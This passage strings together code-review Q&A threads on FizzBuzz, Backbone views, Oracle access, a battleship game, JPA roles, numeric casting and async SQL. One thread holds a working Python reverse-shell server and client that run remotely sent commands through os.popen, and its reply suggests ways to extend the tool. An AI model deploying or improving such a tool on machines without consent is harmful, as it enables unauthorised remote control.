FIZZ BUZZ -challenge program with adjustable intervals This is again a solution to the codeEval challenge #1. It was accepted by codeEval, but please let me know if I can improve it anyway somehow?

#include<iostream>
#include<vector>
#include<fstream>
#include<string>
#include<chrono>

struct input_rec{
    int first;
    int second;
    int last;
};

void parseRecord( std::string &record, input_rec& rec )
{
    int first  = 0;
    int second = 0;
    int last   = 0;
    bool good  = 0;

    size_t start = 0;
    size_t end =  record.find_first_of(" ");
    first = std::atoi(record.substr(start,end-start).c_str());
    if( ( 1 <= first ) && ( first <= 20 ) )
    {
        good = 1;
    }
    else
    {
        return;
    }

    start = end + 1;
    end = record.find_first_of( " ", start );
    second = std::atoi( record.substr( start, end-start ).c_str() );
    if( good && ( ( 1 <= second ) && ( second <= 20 ) ) )
    {
         good=1;
    }
    else
    {
        return;
    }
    start = end + 1;
    last = std::atoi( record.substr( start, std::string::npos ).c_str() );
    if( good && ( (21 <= last ) && ( second <= 200 ) ) )
    {
        good=1;
    }
    else
    {
        return;
    }
    if(good)
    {
        rec.first=first;
        rec.second=second;
        rec.last=last;
    }
}
void readInputFile( std::string fileName, std::vector< input_rec > & rec )
{

    //std::cout<<"readInputFile: filename:"<< filename<<std::endl;
    std::ifstream infile( fileName );

    std::string record;
    input_rec temp;
    while( std::getline( infile, record ) )
    {

        parseRecord( record, temp );
        rec.emplace_back( temp );
    }
}
void checkfuzzbuzz( input_rec& rec )
{
    int x     = 1;
    int flag1 = 0;
    int flag2 = 0;

    while( x < rec.last )
    {
        if( ( x % rec.first ) == 0)
        {
            flag1 = 1;
        }
        if ( ( x % rec.second ) == 0 )
        {
            flag2 = 1;
        }

        if( ( flag1 + flag2 ) == 2 )
        {
            std::cout << "FB" << " ";
        }
        else if( flag1 == 1)
        {
            std::cout << "F" << " ";
        }
        else if( flag2 == 1 )
        {
            std::cout << "B" << " ";
        }
        else
        {
            std::cout << x << " ";
        }
        flag1 = 0;
        flag2 = 0;
        ++x;
    }
    if( x == rec.last )
    {
        if( ( x % rec.first ) == 0 )
        {
            flag1 = 1;
        }
        if ( ( x % rec.second ) == 0 )
        {
            flag2 = 1;
        }

        if( ( flag1 + flag2 ) == 2 )
        {
            std::cout << "FB";
        }
        else if( flag1 == 1)
        {
            std::cout << "F";
        }
        else if( flag2 == 1 )
        {
            std::cout << "B";
        }
        else
        {
            std::cout << x << " ";
        }
        flag1 = 0;
        flag2 = 0;
        ++x;
    }
    std::cout << "\n";
}
int main( int argc, char* argv[] )
{
    auto start = std::chrono::steady_clock::now();
    if( argc < 2 )
    {
        std::cout << "usage: fuuzbuzz fuuzbuzz.txt" << "\n";
        exit( 0 );
    }

    std::ios_base::sync_with_stdio( false );
    std::vector< input_rec > input;
    readInputFile( argv[ 1 ], input );
    for( auto &x : input)
    {
       checkfuzzbuzz(x);
    }
   auto end      = std::chrono::steady_clock::now();
   auto duration = std::chrono::duration_cast<std::chrono::microseconds>(end-start);
   std::cout<< duration.count() << "\n";
   return 0;
}

Sort your includes.

Your input_rec has poor names. Something like fizz, buzz and length would be better. If you don't want to give it better names, just use a tuple.

parseRecord takes a line and tries to fill a record. It would be more senible to just return a record (out-parameters are largely a bad idea for small types). This does mean you actually need to handle the early-return cases. For the moment, I'll just return {0, 0, 0} - this is at least better than the old arbitrary-data return value. The input should probably be taken by const &.

The constraints

  The number of test cases ≤ 20
  "X" is in range [1, 20]
  "Y" is in range [1, 20]
  "N" is in range [21, 100]

should not be part of your code. They only serve to make it less general.

This gets us to

input_rec parseRecord( std::string const &record )
{
    int fizz = 0;
    int buzz = 0;
    int length = 0;

    size_t start = 0;
    size_t end =  record.find_first_of(" ");
    fizz = std::atoi(record.substr(start,end-start).c_str());

    start = end + 1;
    end = record.find_first_of( " ", start );
    buzz = std::atoi( record.substr( start, end-start ).c_str() );

    start = end + 1;
    length = std::atoi( record.substr( start, std::string::npos ).c_str() );

    return {fizz, buzz, length};
}

The next thing to do is initialize late:

input_rec parseRecord( std::string const &record )
{
    size_t start = 0;
    size_t end =  record.find_first_of(" ");
    int fizz = std::atoi(record.substr(start,end-start).c_str());

    start = end + 1;
    end = record.find_first_of( " ", start );
    int buzz = std::atoi( record.substr( start, end-start ).c_str() );

    start = end + 1;
    int length = std::atoi( record.substr( start, std::string::npos ).c_str() );

    return {fizz, buzz, length};
}

This is much simpler with an istringstream:

#include<sstream>

input_rec parseRecord( std::string const &record )
{
    std::istringstream stream(record);

    int fizz, buzz, length;
    stream >> fizz >> buzz >> length;
    return {fizz, buzz, length};
}

Your readInputFile isn't needed - one can interleave reading and writing. Letting checkfuzzbuzz take its argument by value, this is just:

std::ifstream infile( argv[ 1 ] );

std::string record;
while( std::getline( infile, record ) )
{
    checkfuzzbuzz(parseRecord( record ));
}

Your exit( 0 ); in main can jus be return;, although you probably want return 1;.

checkfuzzbuzz has a typo. Further, the whole flag setting things is meaningless overhead. Just do

void checkfizzbuzz( input_rec rec )
{
    int x = 1;
    while( x < rec.length )
    {
        if( ( x % rec.fizz ) == 0 && ( x % rec.buzz ) == 0 ) {
            std::cout << "FB" << " ";
        }
        else if( ( x % rec.fizz ) == 0)
        {
            std::cout << "F" << " ";
        }
        else if ( ( x % rec.buzz ) == 0 )
        {
            std::cout << "B" << " ";
        }
        else {
            std::cout << x << " ";
        }
        ++x;
    }
    if( x == rec.length )
    {
        if( ( x % rec.fizz ) == 0 && ( x % rec.buzz ) == 0 ) {
            std::cout << "FB";
        }
        else if( ( x % rec.fizz ) == 0)
        {
            std::cout << "F";
        }
        else if ( ( x % rec.buzz ) == 0 )
        {
            std::cout << "B";
        }
        else {
            std::cout << x;
        }
    }
    std::cout << "\n";
}

Further, you can combine the two to do

void checkfizzbuzz( input_rec rec )
{
    for( int x = 1; x <= rec.length; ++x )
    {
        if( ( x % rec.fizz ) == 0 && ( x % rec.buzz ) == 0 ) {
            std::cout << "FB";
        }
        else if( ( x % rec.fizz ) == 0)
        {
            std::cout << "F";
        }
        else if ( ( x % rec.buzz ) == 0 )
        {
            std::cout << "B";
        }
        else {
            std::cout << x;
        }

        if( x < rec.length ) {
            std::cout << " ";
        }
    }
    std::cout << "\n";
}

You can drop the return 0;.

You should really find a consistent formatting. Since I'm lazy, I just ran it through clang-format with the default settings (LLVM-style) except with 4-space tabs.

It's probably best not to call std::ios_base::sync_with_stdio(false); - there's no real reason to avoid flushing unless you are actually needing the speed. I also removed the timing code, since it seems to be for debugging purposes.

This all gives:

#include <fstream>
#include <iostream>
#include <sstream>

struct input_rec {
    int fizz;
    int buzz;
    int length;
};

input_rec parseRecord(std::string const &record) {
    std::istringstream stream(record);

    int fizz, buzz, length;
    stream >> fizz >> buzz >> length;
    return {fizz, buzz, length};
}

void checkfizzbuzz(input_rec rec) {
    for (int x = 1; x <= rec.length; ++x) {
        if ((x % rec.fizz) == 0 && (x % rec.buzz) == 0) {
            std::cout << "FB";
        } else if ((x % rec.fizz) == 0) {
            std::cout << "F";
        } else if ((x % rec.buzz) == 0) {
            std::cout << "B";
        } else {
            std::cout << x;
        }

        if (x < rec.length) {
            std::cout << " ";
        }
    }
    std::cout << std::endl;
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        std::cout << "usage: fuuzbuzz fuuzbuzz.txt" << std::endl;
        return 1;
    }

    std::ifstream infile(argv[1]);
    std::string record;

    while (std::getline(infile, record)) {
        checkfizzbuzz(parseRecord(record));
    }
}

Note that there's basically no real error checking in this, which is worth fixing.


Updating single view on change of a model in backbone The setup of Backbone:

1 Collection,
3 Models,
1 View for the collection,
1 View per Model.

HTML:

Template:

Backbone JS:

Book    =   Backbone.Model.extend({
            defaults:{
                name    :   "No Name",
                author  :   "No Name",
                likes   :   0
            }

BookListView    =   Backbone.View.extend({
                        collection  :   BookList,
                        initialize  :   function(collection){
                            this.collection = collection;
                            this.render();
                        },
                        render      :   function(){
                            this.collection.each(function(model){
                            var pustakView = new BookView({model: model});
                            pustakView.render();
                            });
                        }
});

BookView    =   Backbone.View.extend({
    model       : Book,
    initialize  : function(){},
    events      : {"click a.item": "clicked"},
    template    : Handlebars.compile($('#item-template').html()),

    clicked     : function(e){
                    e.preventDefault();
                    var likes_count =    this.model.get("likes");
                    this.model.set({likes:++likes_count});
                    this.renderOne();
    },

    renderOne   : function(){
                    var output=this.template({'book':this.model.toJSON()});
                    $(this.el).html(output);
    },
    render      : function(){
                    var output = this.template({'book':this.model.toJSON()});
                    $(this.el).append(output);
                    $('#showit').append($(this.el));
     }
});

var book1   =   new Book({name:'Awesome Book1',author:"John",likes:10});
var book2   =   new Book({name:'Awesome Book2',author:"Dave",likes:20});
var book3   =   new Book({name:'Awesome Book3',author:"Bill",likes:30});

BookList    =   Backbone.Collection.extend({model:Book});
var myBookCollection    =   new BookList([book1,book2,book3]);
myBookList  =   new BookListView(myBookCollection);

So here is a snippet of what it generates on page load:

       Awesome Book1

       Liked:10

...
...

I am a newbie into world of backbone and trying to implement the basics to apply it into my site. I have referred this site for the above implementation. (Well, not exactly as I have customized it for my needs).

The feature I have been trying to implement is that multiple models with same template will load in 1 Collection, clicking on any element in the rendered view of that model has to give me access to that model so that I can re-render the view of the clicked model only.

The above example does the same where in clicking a hyperlink updates the counter called 'likes' and updates the corresponding model view only. As it can be noticed I have not specified an 'el' attribute for the view of each model and so it will be a 'div'.

My Question is whether this method is an efficient method of updating individual views (when model attributes change due to events) or are there any better methods than this? Also I am not sure if having a view for each loaded model will not cause any memory issues (asuuming I have an infinite scroll implemented which keeps on loading the list of Books)

If the above implementation is good enough, I hope it can help other backbone newbies to get up and running with re-rendering model view when model attributes change.

First of all, Backbone views already have a cached version of $(this.el) in this.$el so you should use this.$el instead of $(this.el).

I find that things work better when views only touch their own el and leave it up to someone else to put that el into the DOM. In your case, that would mean that you shouldn't do this:

$('#showit').append($(this.el));

in the sub-view, it would be better to say:

render: function() {
    var output = this.template({'book':this.model.toJSON()});
    this.$el.html(output);
    return this; // <----------------- this is common behavior, you'll see why in a moment
}

and then in the parent view, you say this:

el: '#showit',
render: function() {
    this.collection.each(function(model) {
        var pustakView = new BookView({model: model});
        this.$el.append(pustakView.render().el);
    }, this);
    return this;
}

The parent adds the child using the child's new return value from render:

this.$el.append(pustakView.render().el);
// ---------------------------------^^

Also note the second argument to this.collection.each to make this inside the iterator function the parent view.

Now we don't need renderOne in BookView at all, you can bind render to the appropriate event. You can also leave the re-rendering up to Backbone. When you say this:

this.model.set({likes: ++likes_count});

you will trigger a 'change' event on this.model. If you bind to that in initialize:

initialize: function() {
    this.listenTo(this.model, 'change', this.render);
}

then Backbone will call render for you when the model changes.

Back to BookListView. A view's initialize will copy the collection property out of its options just like it will copy model:

  constructor / initialize new View([options])

  There are several special options that, if passed, will be attached directly to the view: model, collection, el, id, className, tagName, attributes and events.

so your BookListView should look more like this:

var BookListView = Backbone.View.extend({
    initialize: function() {
        this.render();
    },
    //...

and you should instantiate it like this:

var myBookList = new BookListView({ collection: myBookCollection });

Notice that I have removed collection: ... from the view declaration. The collection and model properties should be instances and they should be bound per-view-instance so you almost never want collection or model to appear when defining a view, you only want to see those in the view's argument list when you instantiate a view.

Furthermore, I notice that you're not using var to declare your variables. That means that you are creating accidental globals all over the place and that's never a good idea. Always use var to declare variables so that you can control the scope.


Oracle Database Communication/Operation I am creating an application that will move specific data from one Oracle database and moving it to a MySQL database. I created this class to help keep myself organized and this class holds all of the operations/communication that will happen with this database. I have learned C# on my own with no formal training I was just wanting some pointers that could help me make my code to be acceptable if I was working as a developer for a company.

class Oracle
{
    //private properties
    private OracleConnection oConnection;
    private XmlDocument oXML;
    private string oUID;
    private string oPassword;
    private string oSecurity;
    private string oDb;
    private string oConString;
    private OracleDataAdapter oCommand;
    private string oScript;
    private DataSet oData;
    private DataTable oTable;
    public Oracle()
    {
        oConnection = new OracleConnection();
        oXML = new XmlDocument();
        try
        {

            oXML.Load(@"C:\Users\V64016\documents\visual studio 2013\Projects\Test_DB_Connection\Test_DB_Connection\Resources\Test.xml");
            oSecurity = oXML.SelectSingleNode("/Connections/Oracle/Security").InnerText;
            oDb = oXML.SelectSingleNode("/Connections/Oracle/Database").InnerText;
            oUID = oXML.SelectSingleNode("/Connections/Oracle/UId").InnerText;
            oPassword = Encrypt.DecryptString(oXML.SelectSingleNode("/Connections/Oracle/Pwd").InnerText,oUID);
            oConString = "Data Source=" + oDb + ";User Id=" + oUID + ";Password=" + oPassword + ";";
        }
        catch(Exception ex)
        {
            Console.WriteLine(ex.ToString());
            Debug.Print(ex.ToString());
        }
    }
    //method that handles opening the connection to the  database
    public void Open()
    {
        try
        {
            oConnection.ConnectionString = oConString;
            oConnection.Open();
            Console.WriteLine("Oracle DB Connection Established");
        }
        catch(Exception ex)
        {
            Console.WriteLine(ex.ToString());
            Debug.Print(ex.ToString());
        }
    }
    //method that handles closing the connection to the database
    public void Close()
    {
        try
        {
            oConnection.Close();
            Console.WriteLine("Oracle DB Connection Closed");
        }
        catch(Exception ex)
        {
            Console.WriteLine(ex.ToString());
            Debug.Print(ex.ToString());
        }
    }
    //method that handles pulling the data from a table
    public DataTable Pull()
    {
        oCommand = new OracleDataAdapter();
        oData = new DataSet();
        oTable = new DataTable();
        try
        {
            oScript = System.IO.File.ReadAllText(@"C:\Users\V64016\documents\visual studio 2013\Projects\Test_DB_Connection\Test_DB_Connection\Resources\CASE_SELECT.sql");
            oCommand.SelectCommand = new OracleCommand(oScript, oConnection);
            oCommand.Fill(oData, "uds9");
            oTable = oData.Tables["uds9"];
        }
        catch(Exception ex)
        {
            Console.WriteLine(ex.ToString());
            Debug.Print(ex.ToString());
        }
        return oTable;
    }
}

The code looks good, however, some point I like to mention about readability..

I can see there are multiple try-catch blocks. Every catch block does same thing. You can easily terminate duplicate code.

public static void LogThisCode(Action action)
{
    try
    {
        action();
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.ToString());
        Debug.Print(ex.ToString());
    }
}

Call it like this:

public void Open()
{
    LogThisCode(() => {

        oConnection.ConnectionString = oConString;
        oConnection.Open();
        Console.WriteLine("Oracle DB Connection Established");

    });
}

You don't need all the variables to be global. Avoid using them. They aren't easy to track and create confusion when code grows.
I've moved oConnection.ConnectionString = oConString; inside constructor to avoid global variable.
Instead of comments on methods, use XML Documentation Comments
Always check and remove any unused code
You can use String.Format instead of concatenate strings
I would suggest you to eliminate all hard coded strings by introducing a class having constants.

After all above changes code will look like this:

class Oracle
{
    private OracleConnection oConnection;
    private OracleDataAdapter oCommand;

    public static void LogThisCode(Action action)
    {
        try
        {
            action();
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.ToString());
            Debug.Print(ex.ToString());
        }
    }

    public Oracle()
    {
        LogThisCode(() =>
        {
            oConnection = new OracleConnection();
            var oXML = new XmlDocument();
            oXML.Load(@"C:\Users\V64016\documents\visual studio 2013\Projects\Test_DB_Connection\Test_DB_Connection\Resources\Test.xml");

            string oDb = oXML.SelectSingleNode("/Connections/Oracle/Database").InnerText;
            string oUID = oXML.SelectSingleNode("/Connections/Oracle/UId").InnerText;
            string oPassword = Encrypt.DecryptString(oXML.SelectSingleNode("/Connections/Oracle/Pwd").InnerText, oUID);
            string oConString = string.Format("Data Source={0};User Id={1};Password={2};", oDb, oUID, oPassword);
            oConnection.ConnectionString = oConString;
        });
    }

    /// <summary>
    /// Method that handles opening the connection to the  database
    /// </summary>
    public void Open()
    {
        LogThisCode(() =>
        {
            oConnection.Open();
            Console.WriteLine("Oracle DB Connection Established");
        });
    }

    /// <summary>
    /// Method that handles closing the connection to the database
    /// </summary>
    public void Close()
    {
        LogThisCode(() =>
        {
            oConnection.Close();
            Console.WriteLine("Oracle DB Connection Closed");
        });
    }

    /// <summary>
    /// Method that handles pulling the data from a table
    /// </summary>
    /// <returns></returns>
    public DataTable Pull()
    {
        DataTable oTable = new DataTable();

        LogThisCode(() =>
        {
            string oScript = System.IO.File.ReadAllText(@"C:\Users\V64016\documents\visual studio 2013\Projects\Test_DB_Connection\Test_DB_Connection\Resources\CASE_SELECT.sql");
            oCommand.SelectCommand = new OracleCommand(oScript, oConnection);

            DataSet oData = new DataSet();
            oCommand.Fill(oData, "uds9");
            oTable = oData.Tables["uds9"];
        });

        return oTable;
    }
}


Battleship console game This is a battleship console game I wrote in C++.

#include <string>
#include <iostream>
#include <process.h>
#include <cstdlib>
#include <time.h>
using namespace std;

int const ROW = 3;
int const COL = 3;

int subX, subY;

int guesses = 5;

int board[ROW][COL];

bool hasWon = false;

void winScreen()
{
    cout << "You won with " << guesses << " guesses left! :) " << endl;
}

void generateGrid()
{
    for (int x = 0; x < ROW; x++)
    {
        for (int y = 0; y < COL; y++)
        {
            //0 = empty
            //1 = has guessed
            //2 = sub

            //empty board
            board[x][y] = 0;
            cout << "-" << x << "," << y << "- ";
        }
        cout << endl;
    }
}

void generateSubCoords()
{
    subX = 0 + (rand() % ROW);
    subY = 0 + (rand() % COL);
    //2 = sub
    board[subX][subY] = 2;
}

void displayGrid(int changeX, int changeY)
{

    cout << "_______________________________________" << endl;
    for (int x = 0; x < ROW; x++)
    {
        for (int y = 0; y < COL; y++)
        {
            if (x == changeX && y == changeY)
            {
                if (board[x][y] != 2)
                {
                    board[x][y] = 1;
                }
            }

            if (board[x][y] == 0)
            {
                cout << "-" << x << "," << y << "- ";
            }
            else if (board[x][y] == 1)
            {
                cout << "-X,X- ";
            }

            if (board[x][y] == 2 )
            {
                if (x == changeX && y == changeY)
                {
                    cout << "-HIT- ";
                }
                else
                {
                    cout << "-" << x << "," << y << "- ";
                }
            }

        }
        cout << endl;
    }
}

void playerGuess()
{

    int guessX, guessY;

    bool goodInput = false;

    cout << endl;
    do {
        cout << guesses << " guesses left. " << endl;

        //get X pick
        cout << "X: ";
        cin >> guessX;
        if (guessX < 0 || guessX>2)
        {
            goodInput = false;
            cin.clear();
            cin.ignore(256, '\n');
            cout << "Out of Range!" << endl;
            //display grid again with X's on board where guessed
            break;
        }
        else
        {
            goodInput = true;
        }

        //get Y pick
        cout << "Y: ";
        cin >> guessY;
        if (guessY < 0 || guessY>2)
        {
            goodInput = false;
            cin.clear();
            cin.ignore(256, '\n');
            cout << "Out of Range!" << endl;
            //display grid again with X's on board where guessed
            break;
        }
        else
        {
            goodInput = true;
        }

        displayGrid(guessX, guessY);
        cout << endl;
        guesses--;

    } while (!goodInput);

    //if guessed right
    if (guessX == subX && guessY == subY)
    {
        hasWon = true;
        winScreen();
    }
}

void main()
{
    srand(time(NULL));
    cout << "BATTLE-SHIP 2000" << endl << endl;
    int board[ROW][COL];

    generateGrid();
    generateSubCoords();

    do
    {
        if (hasWon)
        {
            break;
        }

        playerGuess();
    } while (guesses > 0);

    //if lost
    if (!hasWon)
        cout << "Sorry, you lost. :(" << endl;

    cout << "The sub was located at -" << subX << "," << subY << "-." << endl;
}

I really feel like I'm overcomplicating things. I feel like I overuse do whiles and I should try to use a catch and throw option or something a little more creative. Any suggestions would be appreciated.

Using namespace std

Please review this post on why you should not use using namespace std: Why is “using namespace std” considered bad practice?

Enums

//0 = empty
//1 = has guessed
//2 = sub

You should use an enum to represent those values:

enum SquareType {
    Empty = 0,
    Guessed = 1,
    Sub = 2
};

Now, instead of doing the confusing:

if (board[x][y] == 0)
{
    ...
}
else if (board[x][y] == 1)
{
    ...
}
if (board[x][y] == 2)
{
    ...
}

You can do:

if (board[x][y] == SquareType.Empty)
{
    ...
}
else if (board[x][y] == SquareType.Guessed)
{
    ...
}
if (board[x][y] == SquareType.Sub)
{
    ...
}

Style

You have way too much vertical space in your program.  You should really only use 1 empty line at a time.

Your bracing is inconsistent.  Either always use them (preferred), or use them as little as possible.

Input

You never use the do-while loop in playerGuess.  If you carefully check the runtime, you break directly out of the loop every time you have bad input.  That gives the loop a chance to continue if, and only if, you get two good inputs, but getting two good inputs automatically invalidates the continuation condition.

Notice how similar the two sections in the following code is.  Duplication everywhere.

//get X pick
cout << "X: ";
cin >> guessX;
if (guessX < 0 || guessX>2)
{
    goodInput = false;
    cin.clear();
    cin.ignore(256, '\n');
    cout << "Out of Range!" << endl;
    //display grid again with X's on board where guessed
    break;
}
else
{
    goodInput = true;
}

//get Y pick
cout << "Y: ";
cin >> guessY;
if (guessY < 0 || guessY>2)
{
    goodInput = false;
    cin.clear();
    cin.ignore(256, '\n');
    cout << "Out of Range!" << endl;
    //display grid again with X's on board where guessed
    break;
}
else
{
    goodInput = true;
}

You should join these into a single input function:

int input(string prompt)
{
    int guess = -1;

    do {
        cout << prompt;
        cin >> guess;
        if (guess < 0 || guess > 2)
        {
            guess = -1;
            cin.clear();
            cin.ignore(256, '\n');
            cout << "Out of Range!" << endl;
        }
    } while (guess == -1)

    return guess;
}

Then call it like:

//get X pick
guessX = input("X: ")

//get Y pick
guessY = input("Y: ")

This will also ensure the function gets good input back the first time input() returns.

main()

Your main() function should only be the entrance to your program.  You typically should not use main() to do work--create a function who's sole responsibility is doing that work.  Right now, you gave main() two responsibilities--starting the program and running it.

Exceptions

Only use exceptions for exceptional behavior, not for control flow.  Getting bad input is never exceptional--it is to be expected.  Simple programs like this should almost never throw exceptions deliberately.


JPA method to update roles for users In my Spring MVC app I have User and Role entities.

User:

public class User {
    private Long id;
    private Set<Role> roles;

    // other fields, getters and setters
}

Role:

public class Role {
    private Long id;

    // other fields, getters and setters
}

I have a service method with the following signature:

@Transactional
void setRolesByUserId(Map<Long, Set<Long>> rolesByUserId)

The key of the Map is a User ID and the corresponding value is a Set of Role IDs that needs to be assigned to the user.

My implementation:

public void setRolesByUserId(Map<Long, Set<Long>> rolesByUserId) {
    // 1.
    Map<Long, Role> roles = roleRepository.findAll()
        .stream().collect(Collectors.toMap(Role::getId, Function.identity()));

    // 2.
    userRepository.findAllById(rolesByUserId.keySet())
            // 3.
            .forEach(user -> user.setRoles(rolesByUserId.get(user.getId())
                    .stream().map(roles::get).collect(Collectors.toSet())));
}

So basically the flow is the following:

fetch all the Role entities from the DB into a Map<Long, Role> (where the key is the Role ID and the value is the Role entity itself)
fetch the User entities from the DB that needs to be modified
for each User, iterate through the Role IDs to be assigned, fetch the corresponding Role entities from the Map, collect them into a Set and assign it to the User

Can this method be optimized?

Well, you created a good code so far. Your lamda is OK. But there are some things about naming which could be improved

About the API setRolesByUserId, it is OK to accept userId as long. But about role, it could be better to change the Set to Set, and i think you're about to update for List of user, hence the name should change to updateUserWithRoleSet.
IMHO, It is totally OK to update one user at once => updateUserWithRole(long userId, Set<Role> roles>


Reverse shell allows connection between computers I've recently made a reverse-shell which allows you remote shell access to other computers.

It's written in Python 2 and it is cross-platform. Basically, it get's user input for a command and sends it to the client with sockets. The client then runs it with os.system.

Here's the code for the server (urchin.py):

#!/usr/bin/python
import socket, os, sys, platform

if 'Windows' in platform.system():
    os.system('cls')
    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (keeganjk)"
    print "Version   : v1.1.1 (Pluteus)"
else:
    os.system("clear")
    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (\033[1;31mkeeganjk\033[0;0m)"
    print "Version   : v1.1.1 (\033[0;32mPluteus\033[0;0m)"

port = 31337
s = socket.socket()
s.bind(('', port))
print ""
print "[*] Waiting for connection ..."
s.listen(1)
while True:
    c, addr = s.accept()
    print "[+] Accepted connection from", addr, "!"
        print ""
    while True:
        cmd = raw_input("$ ")
        if cmd == "python":
            while cmd != "exit()":
                cmd = raw_input(">>> ")
                if cmd == "exit":
                    print "Use exit() to exit"
                cmd = "python -c '" + cmd + "'"
                c.send(cmd)
                print c.recv(1024)

        elif cmd == "bash":
            while True:
                cmd = raw_input("bash$ ")
                cmd = "bash -c '" + cmd + "'"
                c.send(cmd)
                print c.recv(1024)

        elif cmd == "quit" or cmd == "exit":
            c.send('quit')
            s.close()
                sys.exit(1)
        else:
                c.send(cmd)
            print c.recv(1024)

And here's the code for client.py:

#!/usr/bin/python
import socket, os, sys
s = socket.socket()
host = '127.0.0.1'
port = 31337
s.connect((host, port))
while True:
    cmd = s.recv(1024)
    if cmd[:2] == "cd":
        os.chdir(str(cmd[3:]))
        o = " "
        s.send(o)
    elif cmd == "quit":
        s.close()
        sys.exit(1)
    else:
        o = os.popen(cmd).read()
        s.send(o)

Any suggestions? How can I make this work better?

Any suggestions?

The block of flavor text within that if/else...

    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (keeganjk)"
    print "Version   : v1.1.1 (Pluteus)"

... might be easier to extend upon via Python formating...

__about__ = """
  |     |  | ,--` ,--` |  | --- ,--`
\ * /   |  | |  | |    |  |  |  |  |
-*+*-   |  | |--, |    |--|  |  |  |
/ * \   |  | | \  |    |  |  |  |  |
  |     `__, |  \ `__, |  | --- |  |

Developer: {author_name} ({author_nic})
Version:   v{version_num} ({version_nic})
"""

# ... other setup stuff maybe

if 'Windows' in platform.system():
    os.system('cls')
    print(__about__.format(author_name = 'Keegan Kuhn',
                           author_nic = 'keeganjk',
                           version_num = '1.1.1',
                           version_nic = 'Plauteus'))
else:
    os.system("clear")
    print(__about__.format(
        author_name = 'Keegan Kuhn',
        author_nic = '\033[1;31mkeeganjk\033[0;0m',
        version_num = '1.1.1',
        version_nic = '\033[0;32mPlauteus\033[0;0m'))

    How can I make this work better?

@Joshua Klein already pointed out that the code be blocking ya from the joys of multi-client access. Though I'd suggest considering some form of encryption and authentication of each connection and their messages first.

If you're really going after multi-OS support I'd advise having a handy way of spawning shells on each, Windows (last I checked) does not have Bash pre-installed.

After that it might be fancy to add argpars to the client and server scripts as well as some form of configuration file parsing.

Looking closer, one wonders what happens when you assign a variable and later try to access it?


Casting the left and right numbers as integers or doubles How can I remove the code duplication in this code? It is trying to cast the left and right numbers as integers or doubles and then using it.

public Object example(Object left, Object right) {
    if(left instanceof Integer && right instanceof Integer) {
        switch (operator) {
            case ADD:
                return (Integer)left + (Integer)right;
            case SUB:
                return (Integer)left - (Integer)right;
            case MUL:
                return (Integer)left * (Integer)right;
            case DIV:
                return (Integer)left / (Integer)right;
        }
    } else if(left instanceof Double && right instanceof Double) {
        switch (operator) {
            case ADD:
                return (Double)left + (Double)right;
            case SUB:
                return (Double)left - (Double)right;
            case MUL:
                return (Double)left * (Double)right;
            case DIV:
                return (Double)left / (Double)right;
        }
    } else {
        throw new Error("wrong types of arguments");
    }
}

One option would be to do your math operations on a double.  You can use a generic method that accepts any derivative of the Number class and use the doubleValue() method for your calculation.  The caller of the method can cast to Integer as needed:

enum Operators {
    ADD,
    SUB,
    MUL,
    DIV
}

public static <T1 extends Number> Double doMath(T1 left, T1 right, Operators operator) {
    switch (operator) {
        case ADD:
            return left.doubleValue() + right.doubleValue();
        case SUB:
            return left.doubleValue() - right.doubleValue();
        case MUL:
            return left.doubleValue() * right.doubleValue();
        case DIV:
            return left.doubleValue() / right.doubleValue();
        default:
            return 0.0;
    }
}


Making async SQL calls I've written a class to make async SQL calls and it appears to work like a charm! But I'm a bit concerned about what it means to send a lot of queries to the server and then aborting them by throwing an abort exception on the calling thread. Is this a problem?

The code also launches a lot of threads.  Is there any downside to this? Should I use ThreadPool instead, and if so, how?

I'm using .NET 4.

//Class for asynchronous SQL calls
public class SqlAsync
{
    private Thread LastAction { get; set; }
    private string ConnectionString { get; set; }
    public int Timeout { get; set; }

    public SqlAsync(string connstring)
    {
        this.ConnectionString = connstring;
        this.Timeout = 30;
    }

    public void AsyncSqlCall<T>(string sp, Action<T> Callback, Func<SqlDataReader, T> HandleResult, Dictionary<string, object> Params = null)
    {
        TryKillThread(this.LastAction);

        this.LastAction = new Thread(() =>
        {
            T returnobj;
            using (SqlConnection conn = new SqlConnection(this.ConnectionString))
            using (SqlCommand cmd = new SqlCommand(sp, conn))
            {
                cmd.CommandTimeout = this.Timeout;
                cmd.CommandType = CommandType.StoredProcedure;
                if (Params != null)
                {
                    foreach (KeyValuePair<string, object> kvp in Params)
                    {
                        cmd.Parameters.AddWithValue(kvp.Key, kvp.Value ?? DBNull.Value);
                    }
                }
                conn.Open();
                using (SqlDataReader rdr = cmd.ExecuteReader())
                {
                    returnobj = HandleResult(rdr);
                    rdr.Close();
                }
                conn.Close();
            }
            new Thread(() => Callback(returnobj)).Start();
        });
        this.LastAction.Start();
    }

    private void TryKillThread(Thread thread)
    {
        if (thread != null && thread.IsAlive)
        {
            try
            {
                thread.Abort();
            }
            catch (ThreadStateException)
            { /*If thread ends between IsAlive check and Abort call, then just ignore*/ }
        }
    }
}

This is an example of how I use the class

public class Example : Form
{
    DbExample DbEx = new DbExample("");
    public void tbExample_TextChanged(object sender, EventArgs e)
    {
        DbEx.BeginGetSomething(tbExample.Text, BindDgvSomething);
    }
    private void BindDgvSomething(DataTable dt)
    {
        dgvSomething.Invoke(new Action(() => dgvSomething.DataSource = dt));
    }
}

public class DbExample
{
    private SqlAsync SqlAsync;
    private string Connstr;

    public DbExample(string connstr)
    {
        this.Connstr = connstr;
        this.SqlAsync = new SqlAsync(this.Connstr);
    }
    private DataTable LoadReader(SqlDataReader rdr)
    {
        DataTable dt = new DataTable();
        dt.Load(rdr);
        return dt;
    }
